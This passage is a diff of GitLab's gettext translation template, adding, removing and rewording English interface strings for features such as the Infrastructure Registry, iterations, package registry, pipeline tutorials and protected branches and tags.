-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17880,6 +17556,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17892,6 +17580,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17931,6 +17622,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17946,9 +17640,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17961,12 +17652,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17989,6 +17674,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -18031,9 +17719,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -18073,12 +17758,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -18103,9 +17800,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -18256,6 +17950,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18331,25 +18028,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18358,13 +18037,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18385,7 +18061,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18394,9 +18070,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18421,6 +18094,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18832,18 +18508,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18853,6 +18547,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18865,6 +18562,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18883,9 +18586,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18985,9 +18694,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19036,6 +18751,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -19126,9 +18844,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -19156,18 +18871,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -19279,9 +18982,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19441,9 +19141,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19676,9 +19373,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19886,6 +19580,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -20121,6 +19818,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20355,6 +20055,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20373,9 +20082,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20595,9 +20301,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20667,6 +20370,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20688,6 +20394,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20700,6 +20409,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20760,9 +20472,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21541,9 +21250,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21686,9 +21392,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21947,9 +21650,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -22125,9 +21825,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -22176,7 +21873,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -22233,13 +21930,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22438,9 +22135,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22459,7 +22153,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22768,9 +22462,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22957,9 +22648,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -23102,9 +22790,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23742,10 +23427,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23823,6 +23508,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23853,6 +23541,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23877,9 +23571,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23931,6 +23622,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23940,15 +23634,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23994,6 +23688,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -24024,6 +23724,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -24216,9 +23922,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24423,10 +24126,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24438,9 +24141,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24450,16 +24150,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24579,10 +24285,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24600,12 +24306,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24717,9 +24429,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24870,13 +24579,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24921,10 +24630,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24936,6 +24645,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25548,6 +25263,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25833,9 +25551,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25863,6 +25578,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25875,9 +25593,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25926,15 +25641,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25983,9 +25692,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26601,9 +26307,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26619,9 +26322,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26706,21 +26406,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26736,18 +26433,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26763,9 +26451,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26778,6 +26463,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26793,7 +26481,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26802,6 +26490,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26811,9 +26502,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26832,9 +26520,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26958,13 +26643,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
+msgstr ""
+
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allowed to force push"
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26985,12 +26673,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -27000,6 +26697,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -27009,12 +26709,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -27060,18 +26763,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
+msgstr ""
+
+msgid "ProtectedTag|Limit access to creating and updating tags."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Protected tags"
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
